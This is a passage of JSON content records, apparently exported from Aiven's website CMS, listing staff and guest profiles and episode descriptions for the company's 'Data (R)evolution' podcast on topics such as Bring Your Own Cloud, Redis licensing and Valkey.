University."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e262fbeaaa50fe4fe9ca3153a04df5f675759b8f-430x408-jpg","_type":"reference"}},"jobTitle":"Head of Platform, Aiven","name":"Bob Krygowski","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/bobkrygowski"}} {"__i18n_lang":"en","_createdAt":"2023-09-28T08:47:15Z","_id":"a7956adf-2fa4-4ff8-9db0-cfb955f6f2ca","_rev":"eOGTVivSz2oqfsen7PbyEY","_type":"person","_updatedAt":"2024-10-28T07:44:28Z","image":{"_type":"mainImage","asset":{"_ref":"image-0f33f234d09a0bfe23ee770a6a090261831b7e2f-1200x1247-jpg","_type":"reference"}},"jobTitle":"Chief Operating Officer, Aiven","name":"Kenneth Chen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/kennethchen/"}} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:17:14Z","_id":"78a639df-9b11-4823-9b95-88a5a8ecf9cd","_rev":"9KXJIj517MDuzut1Td0ho7","_type":"person","_updatedAt":"2024-10-28T07:45:30Z","image":{"_type":"mainImage","asset":{"_ref":"image-7ed3355ced6979dba2b35c81242f218ed9470ee8-1181x1181-jpg","_type":"reference"}},"jobTitle":"SVP, People Experience, Aiven","name":"Anna Richardson","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/anna-richardson-a7896013/"}} {"__i18n_base":{"_ref":"032e9a1b-a441-4685-9a3e-1db10bd5840b","_type":"reference"},"__i18n_lang":"de","_createdAt":"2024-11-06T13:35:39Z","_id":"032e9a1b-a441-4685-9a3e-1db10bd5840b__i18n_de","_rev":"uHzmvE2HQDA7PXHnK6s1tC","_type":"person","_updatedAt":"2024-11-06T13:35:51Z","bio":[{"_key":"d7f7918d6a97","_type":"block","children":[{"_key":"8bad02f2733b0","_type":"span","marks":[],"text":"Martin Drewes ist Partner Solutions Architect bei Amazon Web Services. Er arbeitet mit strategischen AWS-Technologiepartnern in der EMEA-Region zusammen, um Kunden Mehrwert zu bieten. Er verfügt über mehr als 25 Jahre Erfahrung in den Bereichen Ingenieurwesen und Informationstechnologie, einschließlich Softwareentwicklung, Produktmanagement und Unternehmensberatung."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-acca91dfb348ce31894e98bf97eb76b0d050e136-218x218-jpg","_type":"reference"}},"jobTitle":"Partner Solutions Architect, AWS","name":"Martin Drewes"} {"__i18n_base":{"_ref":"d50ab28d-b9b6-48d8-84cc-02b4cfef1921","_type":"reference"},"__i18n_lang":"de","_createdAt":"2024-06-12T07:44:52Z","_id":"d50ab28d-b9b6-48d8-84cc-02b4cfef1921__i18n_de","_rev":"ERHJfvFAezqTeoKMF5dd6q","_type":"person","_updatedAt":"2024-11-06T13:44:59Z","bio":[{"_key":"e3c45320bdcb","_type":"block","children":[{"_key":"84c2bbec935b","_type":"span","marks":[],"text":"Dirk Krautschick ist Solution Architect bei Aiven und bringt über 15 Jahre Erfahrung in Datenbanktechnologie und -architektur mit. Zuvor war er als Sales Engineer bei EDB und Senior Consultant bei Trivadis (heute Accenture) tätig und betreute Kunden in ganz Europa. Dirk ist auf die Optimierung von Datenumgebungen und die Entwicklung technischer Lösungen für Unternehmen spezialisiert."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Dirk image","asset":{"_ref":"image-2756ed5097d06e2b658a5eb601ce9a18d75a9360-512x512-jpg","_type":"reference"}},"jobTitle":"Solution Architect, Aiven","name":"Dirk Krautschick","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/dirk-krautschick/"}} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"032e9a1b-a441-4685-9a3e-1db10bd5840b__i18n_de","_type":"reference"}],"_createdAt":"2024-11-06T13:35:39Z","_id":"032e9a1b-a441-4685-9a3e-1db10bd5840b","_rev":"4qiJ1B4HOcJb1a1kkBzdoU","_type":"person","_updatedAt":"2024-11-06T13:35:52Z","image":{"_type":"mainImage","asset":{"_ref":"image-acca91dfb348ce31894e98bf97eb76b0d050e136-218x218-jpg","_type":"reference"}},"jobTitle":"Partner Solutions Architect, AWS","name":"Martin Drewes"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"d50ab28d-b9b6-48d8-84cc-02b4cfef1921__i18n_de","_type":"reference"}],"_createdAt":"2024-06-12T07:44:52Z","_id":"d50ab28d-b9b6-48d8-84cc-02b4cfef1921","_rev":"BFa84xURlgVka4s8tTfhCF","_type":"person","_updatedAt":"2024-06-12T10:34:50Z","image":{"_type":"mainImage","alt":"Dirk image","asset":{"_ref":"image-2756ed5097d06e2b658a5eb601ce9a18d75a9360-512x512-jpg","_type":"reference"}},"jobTitle":"Solution Architect","name":"Dirk Krautschick","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/dirk-krautschick/"}} {"__i18n_lang":"en","_createdAt":"2024-10-11T14:27:35Z","_id":"e07e31a4-24d2-4cb1-8d78-dbbfae11e2b2","_rev":"eOGTVivSz2oqfsen7Pc4xS","_type":"person","_updatedAt":"2024-10-28T07:48:36Z","image":{"_type":"mainImage","asset":{"_ref":"image-3e7e6ad632a408fc40979f4d7bbc1ca38a95c908-500x500-jpg","_type":"reference"}},"jobTitle":"SVP, Customer Growth, Aiven","name":"Jeff Mery","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/jeffmery/"}} {"__i18n_lang":"en","_createdAt":"2023-02-24T09:15:44Z","_id":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_rev":"R4zj9VDraGU9JFViGi4BsX","_type":"person","_updatedAt":"2024-12-19T11:34:13Z","author":{"_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"},"bio":[{"_key":"1ef16ccd2695","_type":"block","children":[{"_key":"284ebb9b8e060","_type":"span","marks":[],"text":"Francesco Tisiot, Field CTO \u0026 Head of DevEx at Aiven, is dedicated to helping customers achieve success through data-driven innovation. Francesco believes that technology should be an enabler, not a barrier, and works closely with clients to understand their unique needs and develop tailored solutions that deliver measurable results. A seasoned technologist with a proven track record, Francesco is a trusted advisor to organizations across industries."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Francesco Tisiot","asset":{"_ref":"image-b8d957b3c39a8db55a10737cf8043c0d7b80b854-800x1200-jpg","_type":"reference"}},"jobTitle":"Field CTO \u0026 Head of DevEx, Aiven","location":"Verona, Italy","name":"Francesco Tisiot","pardotForm":"https://go.aiven.io/l/890043/2023-09-11/sztyr","role":"dev-rel","slug":{"_type":"slug","current":"/francesco-tisiot"},"socialLink":{"_type":"socialLink","github":"https://github.com/ftisiot","linkedIn":"https://www.linkedin.com/in/francescotisiot/","mastodon":"https://hachyderm.io/@ftisiot","twitter":"https://twitter.com/FTisiot","website":"https://ftisiot.net"},"specialtyTopicTags":["Kafka","Flink","Stream processing","PostgreSQL","Databases","Analytics","Data pipelines","Data security","Data governance","Data observability","Machine learning","Public speaking"]} {"__i18n_lang":"en","_createdAt":"2022-09-13T09:11:21Z","_id":"59d13ba9-fd83-41a6-b147-2a9a02c89f12","_rev":"9k1srJVIAf7BJJgtqkpTHy","_type":"person","_updatedAt":"2024-04-03T12:18:01Z","image":{"_type":"mainImage","asset":{"_ref":"image-2123f0a2c44f339f9cf10314f9b82609626afe30-800x800-jpg","_type":"reference"}},"jobTitle":"Co-founder, Aiven","name":"Hannu Valtonen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/hannuvaltonen"}} {"__i18n_lang":"en","_createdAt":"2023-10-19T12:31:58Z","_id":"a36e758b-f829-4f67-9f99-7e1772eb73d8","_rev":"1Lf0lTITu85vuB356R3bRi","_type":"person","_updatedAt":"2023-10-25T14:49:38Z","bio":[{"_key":"034c3a4d8bf8","_type":"block","children":[{"_key":"0114df75efc40","_type":"span","marks":[],"text":"Brian Wagner has a diverse work experience spanning various roles and industries. Brian is currently the Chief Technology Officer at Revenir since January 2023. Prior to that, they served as the Chief Technology Officer at Defense.com™ from October 2021 to November 2022, where they were responsible for improving the customer experience and ensuring their safety from cyber threats. Brian also held the position of Chief Technology Officer at Bulletproof (Cyber Security) from July 2021 to November 2022, where they focused on providing the necessary tools and support for the company's employees and overseeing the Security Operations team."}],"markDefs":[],"style":"normal"},{"_key":"eb9b422c271f","_type":"block","children":[{"_key":"c9250bbabe3c","_type":"span","marks":[],"text":"\nBefore joining Bulletproof, Brian held the role of Director, Cloud and Security at RMS from January 2020 to July 2021, leading customers and the business through a transformation to a cloud-based data analytics platform. Prior to that, they worked at Amazon Web Services (AWS) in various roles, including Head of Compliance EMEA, AWS Financial Services, Compliance Specialist, Financial Services, Senior Security Consultant, and Solutions Architect.\nThroughout their career, Brian has demonstrated their expertise in technology, security, compliance, and customer experience."}],"markDefs":[],"style":"normal"},{"_key":"673ac6f9db03","_type":"block","children":[{"_key":"e2e73b74cdf4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-298a850f2c3792dc167ee08db6eef884e3566266-300x300-webp","_type":"reference"}},"jobTitle":"CTO, Revenir","name":"Brian Wagner","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/brianjwagner/"}} {"__i18n_lang":"en","_createdAt":"2024-08-09T11:55:03Z","_id":"bdd4d4c8-2722-4874-9b17-1b95438522f7","_rev":"tdWBCkKa1Mk17zGO18Boke","_type":"podcast","_updatedAt":"2024-08-21T14:33:15Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"80db901bec6f","_ref":"14add270-c3e5-4eba-bbb1-0afad4642af4","_type":"podcast"},{"_key":"891a57e53360","_ref":"0a3b8c9d-d307-423b-8b15-08ab4722965c","_type":"podcast"},{"_key":"f59cf54d7c69","_ref":"3aaa69e4-c42e-490e-be8b-33cf8634a6cf","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"2a883ba00ba7","_ref":"9a86a58e-01c4-415f-bfb1-e52b92f6a799","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"012a50308d9c","_type":"block","children":[{"_key":"e182b987e5e80","_type":"span","marks":[],"text":"At the forefront of everything we do at Aiven, is our customers. And we do this by focusing on enterprise readiness, trust, and compliance, bringing AI closer to daily operations, and allowing customers to leverage their existing cloud agreements. "}],"markDefs":[],"style":"normal"},{"_key":"ef5cf49b7fac","_type":"block","children":[{"_key":"74e96668d180","_type":"span","marks":[],"text":"In this Data (R)evolution episode, we're joined by Oskari Saarenmaa, Aiven’s CEO and Co-Founder, to talk about Aiven's future plans, including the innovative “Bring Your Own Cloud” (BYOC) approach and its potential advantages. We explored key features such as vector search, AI enhancements, and new serve capabilities. Additionally, we looked at Aiven's sustainability efforts and their commitment to reducing the carbon footprint of their services. This episode is filled with technical insights and forward-thinking ideas."}],"markDefs":[],"style":"normal"},{"_key":"cfd7a88de180","_type":"block","children":[{"_key":"157c39bddf28","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"69575816238e","_type":"block","children":[{"_key":"e5de494d8e1e0","_type":"span","marks":[],"text":"Aiven prioritizes enterprise-grade security and compliance, integrating advanced technical controls and achieving certifications to build customer trust"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8f701e28c4f4","_type":"block","children":[{"_key":"3e96b29a387e","_type":"span","marks":[],"text":"The \"Bring Your Own Cloud\" (BYOC) feature allows customers to deploy Aiven technologies on their existing cloud accounts, maximizing cost savings and native cloud capabilities"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"07b83e1ba51f","_type":"block","children":[{"_key":"e229947474b4","_type":"span","marks":[],"text":"EverSQL's acquisition enhances Aiven's platform by optimizing SQL database performance through AI, enabling developers to focus on value-adding tasks and improving overall efficiency"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"summary":"Aiven's future plans, including the innovative “Bring Your Own Cloud” (BYOC) approach and sustainability efforts. This episode is filled with technical insights and forward-thinking ideas. ","title":"Aiven's vision for enterprise solutions and sustainability","ytId":"ZEeOw7tFXIY"},"publishedAt":"2024-08-13T06:00:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Discussion about Aiven's future plans, including the innovative “Bring Your Own Cloud” (BYOC) approach and sustainability efforts.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-241d406e2bca222aba7ba92bb2f4232654afa77e-1280x720-jpg","_type":"reference"}},"metaTitle":"Data (R)evolution: Aiven's vision for enterprise solutions and sustainability"},"slug":{"_type":"slug","current":"/podcast/aiven-vision-for-enterprise-solutions-and-sustainability"}} {"__i18n_lang":"en","_createdAt":"2024-06-25T13:41:42Z","_id":"9da4838e-53cf-49d0-b2b9-19246a10e92d","_rev":"BVM0UzymoPXcfHGeYlYeaD","_type":"podcast","_updatedAt":"2024-08-09T12:10:55Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"54a51f45d65c","_ref":"5dbb3b6d-25eb-4569-ae11-98c37618c274","_type":"podcast"},{"_key":"86299cd7e2fd","_ref":"3b26dfda-13de-40b9-b135-aa4bc08b0c12","_type":"podcast"},{"_key":"c3bef936c905","_ref":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"21541ac2742d","_ref":"6ecf75d4-d400-4a27-9eb3-c3f0f0eaa73f","_type":"reference"},{"_key":"2654d33f4476","_ref":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"d7b81e6eefbe","_type":"block","children":[{"_key":"e8e27f5a14470","_type":"span","marks":[],"text":"In the world of software development, caching is a crucial yet complex component. What happens when one of the most popular caching systems, Redis, changes its license, sending shockwaves through the community? And how does a company pivot to not one but two solutions to ensure high-performance data management?"}],"markDefs":[],"style":"normal"},{"_key":"f7d341bc03e1","_type":"block","children":[{"_key":"53f86eaf84330","_type":"span","marks":[],"text":"This discussion dives deep into one of the most critical and often-overlooked components of the software industry—caching. Our hosts sit down with Josep Prat, the Director of the Open Source Program Office at Aiven, and John Kennedy, the Head of Databases, to explore the complexities of caching, the recent Redis license change, and their pioneering work with Dragonfly and the Valkey project."}],"markDefs":[],"style":"normal"},{"_key":"f52923e2a475","_type":"block","children":[{"_key":"d4641ae84fcf0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"34e11086c70d","_type":"block","children":[{"_key":"cb7229ac13f40","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"a20284bb74b4","_type":"block","children":[{"_key":"8be5318c55200","_type":"span","marks":[],"text":"Caching must be planned early in infrastructure design to avoid costly performance bottlenecks"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"046ad8c631f3","_type":"block","children":[{"_key":"652eeed6cee00","_type":"span","marks":[],"text":"Redis' license change has pushed companies like Aiven to explore alternatives, such as the Valkey fork"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"375f1f1258e1","_type":"block","children":[{"_key":"c95e3b4e0c810","_type":"span","marks":[],"text":"Aiven's collaboration with Dragonfly offers high-scale, enterprise-grade caching solutions compatible with Redis, enabling seamless user migration"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a4c2b4aa9614","_type":"block","children":[{"_key":"b977ab38d0340","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Conversation about one of the most critical and often-overlooked components of the software industry—caching.","title":"What's happening in the caching world: Redis, Valkey and DragonFly","ytId":"AcCTmAH1A74"},"publishedAt":"2024-06-25T12:51:41.079Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Conversation about one of the most critical and often-overlooked components of the software industry—caching. ","metaImage":{"_type":"mainImage","asset":{"_ref":"image-0032c7bd38c52bcceec00cc6861ed3cda23e8e77-1920x1080-png","_type":"reference"}},"metaTitle":"Data (R)evolution: What's happening in the caching world: Redis, Valkey and DragonFly"},"slug":{"_type":"slug","current":"/podcast/whats-happening-in-the-caching-world-redis-valkey-and-dragonfly"}} {"__i18n_lang":"en","_createdAt":"2024-07-30T08:30:54Z","_id":"14add270-c3e5-4eba-bbb1-0afad4642af4","_rev":"Gc7Qq2PHZBylrD6rwJvEVx","_type":"podcast","_updatedAt":"2024-07-31T08:20:29Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. Data (R)evolution, powered by Aiven, explores the intersections of data, AI, innovation, and economics through the ever-evolving landscape of cloud technology. Led by hosts Francesco Tisiot and Janki Patel Westenberg, navigate this digital revolution in conversation with experts at the forefront of change."}],"markDefs":[],"style":"normal"}],"title":"Topics around data, innovation and economics in a rapidly-changing cloud world.","topOverlap":false,"variant":"mediaLeft"},{"_key":"4fc8310986da","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"86299cd7e2fd","_ref":"3b26dfda-13de-40b9-b135-aa4bc08b0c12","_type":"podcast"},{"_key":"c3bef936c905","_ref":"d1d92a39-6df4-4d8a-90d3-18b26fb3c53f","_type":"podcast"},{"_key":"54a51f45d65c","_ref":"ac4c312d-4d76-409c-bd4f-818a311a0bca","_type":"podcast"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"Watch the series","topOverlap":false},{"_key":"bb5835edd552","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"155ef4e338ef","_ref":"0ed302d4-35dd-4e1e-847e-03c9e41d2c10","_type":"reference"},{"_key":"b0b57ccba22b","_ref":"6c342edc-53ce-4963-8f9f-8de3eee5cf51","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-t","title":"Hosts","topOverlap":false,"variant":"withBio"},{"_key":"bbcab54b9f04","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"21541ac2742d","_ref":"644e4ddb-85c7-4dcb-8792-a0050f2ad2e0","_type":"reference"},{"_key":"13ce9c7c3da0","_ref":"7a45f554-54bc-4ec9-9170-5c2ae0f3fbc4","_type":"reference"}],"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","title":"Guests","topOverlap":false,"variant":"withBio"}],"contentIsGated":false,"demioEvent":{"demioSubmitText":"Register"},"downloadText":"Download","hasVideo":true,"registerForm":{"iframeHeight":800},"subtitle":[{"_key":"145e4db1a02b","_type":"block","children":[{"_key":"3738b77015c70","_type":"span","marks":[],"text":"Modernizing platforms for the AI-driven future is essential. Aiven’s data and AI platform empowers businesses to thrive in this ever-evolving digital landscape. "}],"markDefs":[],"style":"normal"},{"_key":"d6bf5742bd2f","_type":"block","children":[{"_key":"3a9526c254da","_type":"span","marks":[],"text":"In this Data (R)evolution episode, Aiven’s Bob Krygowski and Stu Garrow explain how to tackle the challenges of scaling a company, benefits of multicloud flexibility, the role of organizational sponsorship, and the innovative \"Bring Your Own Cloud\" (BYOC) concept. Our discussion also covers open-source technology and cloud portability—key elements for modernizing your infrastructure in an AI-driven future. "}],"markDefs":[],"style":"normal"},{"_key":"cfd7a88de180","_type":"block","children":[{"_key":"157c39bddf28","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"bda5038d9bba","_type":"block","children":[{"_key":"c595ae2dcb09","_type":"span","marks":[],"text":"Open source technology on platforms like Aiven aids in achieving multi-cloud flexibility, addressing skill set gaps, and supporting organizations to find the best products to drive their AI initiatives."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"eb46053e4d55","_type":"block","children":[{"_key":"f34c4b11243f","_type":"span","marks":[],"text":"The \"Bring Your Own Cloud\" model offers automation and security while enabling organizations to leverage existing accounts and negotiate discounts. "}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f7cb5f9c9fa3","_type":"block","children":[{"_key":"36cd34845575","_type":"span","marks":[],"text":"The Aiven platform is an enabler, aiding customers in integrating their products into existing platforms and data strategies. It's particularly geared towards modernizing to manage new workloads, with a special focus on AI capabilities"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a4c2b4aa9614","_type":"block","children":[{"_key":"b977ab38d0340","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Conversation about how to tackle the challenges of scaling a company, benefits of multicloud flexibility, the role of organizational sponsorship, and the innovative \"Bring Your Own Cloud\" (BYOC) concept.","title":"The rise of multicloud, open source, and BYOC","ytId":"byZ9qOD4nnQ"},"publishedAt":"2024-07-23T12:51:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Conversation about how to tackle the challenges of scaling a company, benefits of multicloud flexibility, the role of organizational sponsorship, and the innovative BYOC concept.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ae5660f412278f7425a90eece1de3ec026e414cd-1920x1080-png","_type":"reference"}},"metaTitle":"Data (R)evolution: The rise of multicloud, open source, and BYOC"},"slug":{"_type":"slug","current":"/podcast/the-rise-of-multicloud-open-source-and-byoc"}} {"__i18n_lang":"en","_createdAt":"2024-05-28T06:49:02Z","_id":"5dbb3b6d-25eb-4569-ae11-98c37618c274","_rev":"jEln45CgOQD4spzxey892c","_type":"podcast","_updatedAt":"2024-07-17T09:56:31Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"30536904d4c4","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"w-full","narrowImage":true,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data 